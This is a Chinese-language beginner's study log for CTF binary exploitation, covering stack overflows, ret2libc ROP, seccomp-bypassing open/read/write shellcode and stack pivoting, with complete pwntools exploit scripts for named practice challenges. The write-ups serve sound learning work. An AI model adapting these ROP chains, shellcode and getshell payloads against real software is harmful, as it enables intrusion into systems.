PWN入門記錄


寒假期間寫的一點有關PWN入門的想法...

SKILLS &TOOLS

重要技能:調試能力,棧方面的問題一般通過調試都可以解決,堆方面的內容加以調試可以更好的理解

=>安裝gdb和插件peda/pwndbg,學會gdb.attach()命令,多查閱資料和多看一些網上大佬們調試的過程掌握基本調試命令

推薦資源和工具:

(一)hitcon-training:

pros:可以自動配置虛擬機的環境(pwntools\gdb插件等)+ 典型例題

negs:大部分程序都是32位的,需要在此基礎上繼續掌握64位的解題操作

(二)一些工具:

one_gadget\libc database\seccomp-tools

詳細見:http://p4nda.top/2018/03/03/question/

(三)大佬們的入門指南:

https://www.cnblogs.com/wintrysec/p/10616856.html

https://mp.weixin.qq.com/s?__biz=MzI5MDU1NDk2MA==&mid=2247488476&idx=1&sn=85804f7bcf47c175a466f30e531e435a&chksm=ec1f46e3db68cff5e7b6c4cb4091ec421956d604b8347b668fc81ed580db4d5ef31fe3bea1d1&mpshare=1&scene=23&srcid=&sharer_sharetime=1582291930058&sharer_shareid=3a1849965e049afd1f9dd530443240fc#rd(含多本書籍電子版)

STACK

推薦資料:

(一)i春秋月刊第六期Linux pwn入門教程:

pros:全部是棧方面的內容,結合調試和源碼分析講解非常詳細,分類清晰

negs:有一些源碼分析的內容較難閱讀,建議結合網上相關內容的博客對比學習

(二)ctf-wiki:全面、詳細

常見漏洞函數

printf(&a):格式化字符串漏洞 遇到'\x00'截斷的問題

gets(a):遇到'\n'結束,不檢查輸入字符串長度,常見造成棧溢出漏洞

strlen():遇到'\x00'結束,通常繞過條件限制

getshell的幾條命令

最常見的幾條用於getshell的命令:

system('/bin/sh');
execve('/bin/sh');
system('sh');
system('$0');

棧溢出覆蓋

說明:作為pwn基礎入門題目,通常結合memcpy()、strcmp()等函數,通過輸入內容覆蓋棧中指定位置的內容,有時結合棧溢出漏洞覆蓋bss變量段等指定內存中的內容。

常見知識考查:大端序/小端序/常見函數作用/浮點數存儲

例題:buuoj--ciscn_2019_n_1

WP:

在IDA中找到判斷比較的函數,可以看到浮點數在內存中的存儲方式:

傳入時需要注意大小端問題,exp:

from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',28564)
p.recvuntil("Let's guess the number.\n")
payload='a'*(0x30-0x4)+'\x00\x80\x34\x41'
p.sendline(payload)
p.interactive()

ROP

基本特征:程序中開啟NX保護,堆棧上注入的shellcode惡意指令無法執行

漏洞原理:在棧溢出的基礎上,利用程序中已經有的以ret指令結束的gadgets將原先的返回地址位置填充為gadgets地址,以此達到改變寄存器變量或棧結構和劫持程序運行流的目的

理解關鍵:ret指令

ret<=>pop eip/rip

也就是說ret指令會把當前棧頂指針彈出(sp->sp+4/8)並賦值給指令寄存器eip/rip,接下來程序就會去解析棧頂指針中存儲的指針所指向的shellcode並執行

主要工具:ROPgadget、LibcSearcher(ret2libc)

經典類型:ret2libc

一般程序幾乎不會提供system()等后門函數,但是在libc動態庫中存在system()函數和"/bin/sh"字符串,可以利用。ELF文件可執行文件會進行動態鏈接和延時綁定,也就是程序只有在執行到標准庫中的庫函數時才會對相關函數進行綁定,從而得到函數實際運行時的地址,寫入相應函數的got表中,避免再次執行相關函數重復進行重定位操作。在程序的一次運行過程中,libc中函數的地址與實際運行地址相對偏移量是固定的。同時,libc中的函數地址與實際運行地址后12bit是固定的,於是我們可以通過泄露已執行函數的實際運行地址,並與每個libc版本庫中各libc相應函數地址的后12bit進行對比,這里我們通常借助LibcSearcher庫幫助我們得到遠程環境上程序運行所使用的libc版本,進而得到system()等庫函數的實際運行地址,劫持程序流。

如果我們在本地調試自己的程序,可以通過:

elf=ELF("./filename")
libc=elf.libc

直接得到本地環境下程序使用的libc版本。

例題:buuoj-ciscn_2019_c_1

WP:

首先在ida中分析可以看到整個程序最關鍵的其實只有encrypt()加密函數,在這個函數中gets()漏洞函數提供了明顯的棧溢出點,同時在嘗試輸入后可以發現只有前0x50個字節經過異或加密處理。因此通過泄露地址得到system()實際地址以getshell,exp:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug')
p=remote('node3.buuoj.cn',29118)
#p=process('./ciscn_2019_c_1')
#gdb.attach(p)
elf=ELF('./ciscn_2019_c_1')
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
ru("choice!\n")
sl('1')
ru("encrypted\n")
pop_rdi_ret=0x400c83
ret_addr=0x4009A0
payload='a'*(0x50+0x8)
payload+=p64(pop_rdi_ret)+p64(elf.got['__libc_start_main'])+p64(elf.plt['puts'])+p64(ret_addr)
sl(payload)
ru("\n")
ru("\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
print hex(leak_addr)
libc=LibcSearcher('__libc_start_main',leak_addr)
#使用工具LibcSearcher得到遠程環境下的libc
libc_base=leak_addr-libc.dump("__libc_start_main")
#得到庫函數實際地址與庫函數在libc中偏移量的差值,也即libc基地址
sys_addr=libc_base+libc.dump("system")
bin_sh=libc_base+libc.dump("str_bin_sh")
#得到system函數和字符串“/bin/sh"在libc中的實際地址
ret=0x4006b9
pd='a'*(0x50+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(sys_addr)
ru("encrypted\n")
sl(pd)
p.interactive()

ORW

典型特征:seccomp/prctl()函數

說明:一般來說,我們是可以在程序中調用系統函數的,比如說最常見的system("/bin/sh"),而當程序開啟了seccomp保護或者prctl保護的時候會限制我們進行系統函數的調用,最常見的情況是直接限制execve()函數的調用,而system()函數本質上會調用execve()函數,因此我們不能通過最常見的system("/bin/sh")來getshell。這時,通常的做法是利用open,read,write/puts(orw)等這些並未被禁用的系統函數來讀取flag文件內容,因此程序中必須含有我們能夠利用的可讀可寫的內存段,一般是bss段。

工具:seccomp-tools,查看程序被禁用和可以使用的系統函數

關鍵知識:

1.文件描述符:內核中各文件ID號,ID號從0開始累加,程序進行時內核會自動打開3個文件標識符0、1、2,分別代表標准輸入、標准輸出、標准錯誤,隨后每打開一個文件便從3開始累加

2.常見函數的定義(參數和返回值內容):

open函數:打開或創建一個函數

open(char*, flag, mode)//<fcntl.h>

char*:文件名的路徑

flag:文件打開的方式

mode:創建文件的權限,若只是打開文件則不需要該參數

返回值:打開或創建文件成功則返回文件描述符;否則返回-1

read函數:

read(int fd, void *buf, size_t count)

fd:存放讀入內容的文件流

*buf:讀入內容的存儲地址

count:讀入的字節數

返回值:若成功,則時實際讀入的字節數

write函數:

write(int fd, void *buf, size_t count)

fd:寫入內容的文件流

*buf:存放寫入內容的地址

count:寫入內容的字節數

返回值:若成功,則是實際寫入的字節數

3.32位程序通過棧傳遞參數,64位則通過rdi,rsi,rdx,rcx,r8,r9六大寄存器傳遞參數

類型一:利用程序中有可讀可寫可執行的內存段

在我們成功劫持程序流后,向可寫可執行的內存段中寫入執行open/read/write的shellcode隨后執行(手寫/使用pwntools下的shellcraft生成)

例題:Syclover2019-Not Bad

WP:

程序一開始為我們分配了從0x123000開始的一段連續的內存空間,也就是說有一段內存可以供我們隨便讀寫執行,比如寫入並執行shellcode和存放flag內容,可以看到:

int sub_400A16()
{
  char buf; // [rsp+0h] [rbp-20h]

  puts("Easy shellcode, have fun!");
  read(0, &buf, 0x38uLL);
  return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

這里的read的長度只有0x38,不夠存放orw,因此我們這里可以利用`jmp rsp劫持程序流,執行read函數,讀入shellcode到分配的內存上,利用棧遷移執行shellcode,exp如下:

from pwn import *
#p=process('./bad')
p=remote('pwnto.fun',12301)
context(log_level='debug',os='linux',arch='amd64')
#gdb.attach(p)
#jmp_rsp的地址
jmp_rsp_addr=0x0000000000400a01

#read(0,0x123000,0x100)
#x64下read函數的調用號為0(rax傳入),rdi存放第一個參數,rsi存放第二個參數,rdx存放第三個參數
shellcode='''
xor rdi,rdi
push 0x123100
pop rsi
push 0x100
pop rdx
xor rax,rax
syscall
'''

#利用jmp rsp; sub rsp,xxx; jmp rsp; 劫持rsp控制程序執行流程,在棧上進行了跳轉
sub_jmp='''
sub rsp,0x30
jmp rsp
'''
#劫持rsp到具體的地址
#此處曾嘗試寫入地址跳轉值0X123000但在環境ubuntu18.04中一直無法實現
jmp_123100='''
push 0x123100
pop rsp
jmp rsp
'''

#將shellcode存放於0x123100處並劫持rsp進行執行
read_addr=asm(shellcode)+asm(jmp_123100)
#棧溢出
payload1=read_addr+'a'*(0x28-len(read_addr))+p64(jmp_rsp_addr)+asm(sub_jmp)

p.recvuntil("Easy shellcode, have fun!\n")
p.sendline(payload1)

#open(const char *filename,int flags,int mode) x64下調用號2(rax)
#push rsp把棧頂指針寄存器中的值也即指向文件路徑的指針賦值給rdi
open='''
push 0x67616c66  
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 2
pop rax
syscall
'''

#read(unsigned int fd,char *buf,size_t count) 其中open函數的返回值也就是fd,存放於rax中
read='''
push rax
pop rdi
push 0x123200
pop rsi
push 0x100
pop rdx
xor rax,rax 
syscall
'''
#write(unsigned int fd,const char *buf,size_t count) 1為標准輸出流,rsi和rdx不變,系統調用號為1
write='''
push 1
pop rdi
push 1
pop rax
syscall
'''
#在syscall read時注入shellcode
payload2=asm(open)+asm(read)+asm(write)
p.sendline(payload2)
p.interactive()

WP:

類型二:利用程序中的gadgets ROP -64位

通常在成功劫持程序執行流后,我們先通過一個read函數將flag文件路徑讀入到buf,隨后利用已有的gadgets執行open/read/write等函數

例題:Hgame2020-Week1-ROP_level0

WP:

from pwn import *
context(log_level='debug',arch='amd64')

#p=remote('47.103.214.163',20003)
p=process('./2rop')
gdb.attach(p)
e=ELF("./2rop")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
pop_rsi_r15_ret=0x400751
pop_rdi_ret=0x400753
buf=0x601050
ru("/flag\n")
pd='a'*(0x50+0x8)
#rdi->0 rsi->buf rdx->0x100
pd+=p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(e.plt["read"])
#rdi->./flag rsi->0 rdx->--
pd+=p64(pop_rdi_ret)+p64(buf)+p64(pop_rsi_r15_ret)+p64(0)*2+p64(e.plt['open'])
#rdi->*file rsi->buf rdx->0x100
pd+=p64(pop_rdi_ret)+p64(4)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(e.plt['read'])
#rdi->buf
pd+=p64(pop_rdi_ret)+p64(buf)+p64(e.plt['puts'])
sl(pd)
sleep(1)
sl("./flag\x00")
p.interactive()

Stack pivot

典型特征:leave_ret、可溢出字節數有限

說明:當棧溢出的字節數非常有限(典型情況是32位下可溢出8字節,64位下可溢出16字節),我們通常利用leave_ret這一gadget偽造ebp/rbp,實現棧遷移,繼而實現執行在合適位置上的ROP鏈。

關鍵知識:理解leave_ret

在調用函數的初始階段都會有這樣的兩條指令:

push ebp
mov ebp,esp

那么在函數調用結束的時候,為了保持棧的平衡,會有兩條指令與之對應,將這兩條指令結合在一起就是leave指令:

mov esp,ebp
pop ebp

在實現stack pivot攻擊時,需要執行兩次連續的leave_ret指令,一般情況下具體的執行過程如下所示:

(一)32位:

例題:Hitcon-training-LAB6-migration

WP:

from pwn import *
context(log_level='debug',arch='i386')
p=process('./migration')
gdb.attach(p)
elf=ELF('./migration')
libc=elf.libc

#64-40=24/4=6 
bss_start=0x0804A00C
buf1_addr=bss_start+0x200
buf2_addr=bss_start+0x600
read_plt=elf.plt['read']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
leave_ret=0x08048418
ret_addr=0x0804836d  #pop_ebx_ret
payload='a'*0x28+p32(buf1_addr)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1_addr)+p32(0x30)
#棧分布相同
#ebp+read+read_ret_addr+read_var
#leave-->mov esp,ebp;pop ebp
#fake_stack

#payload+=p32(buf2_addr)+p32(puts_plt)+p32(pop_edx_ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2_addr)+p32(0x30)
payload+=p32(buf2_addr)+p32(puts_plt)+p32(ret_addr)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2_addr)+p32(0x10)
#read_content
p.recvuntil('Try your best :\n')
p.sendline(payload)
sleep(1)
#ebp+put_addr+put_ret_addr+put_var+read_addr+read_ret_addr+read_var+read_content
puts_addr=u32(p.recv(4))
offset=puts_addr-libc.symbols['puts']
#the offset(between libc and real situation) is fixed 
system=offset+libc.symbols['system']
bin_sh_addr=offset+libc.search("/bin/sh").next()
payload2=p32(0)+p32(system)+p32(0)+p32(bin_sh_addr)
p.send(payload2)
p.interactive()

(二)64位:

例題:Hgame2020-Week3-ROP_LEVEL2

WP:

exp在棧溢出點執行了兩次leave_ret(源程序在read結束后執行了一次leave_ret,我們又將返回地址變成了leave_ret指令的地址,執行第二次),結合調試可以看到與我們上面總結的過程相符:

from pwn import *
context(log_level='debug',arch='amd64')

#p=remote('47.103.214.163', 20300)
p=process('./ROP')
gdb.attach(p)
e=ELF("./ROP")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
pop_rdi_ret=0x400a43
pop_rsi_r15_ret=0x400a41
buf=0x601190
pd=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(e.plt['read'])
pd+=p64(pop_rdi_ret)+p64(buf)+p64(pop_rsi_r15_ret)+p64(0)*2+p64(e.plt['open'])
pd+=p64(pop_rdi_ret)+p64(4)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(e.plt['read'])
pd+=p64(pop_rdi_ret)+p64(buf)+p64(e.plt['puts'])
ru("It's just a little bit harder...Do you think so?\n")
sl(pd)
ru("/flag\n")
leave_ret=0x40090d
pd='a'*0x50+p64(0x6010A0-8)+p64(leave_ret)
p.send(pd)
p.send("./flag\x00")
p.interactive()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM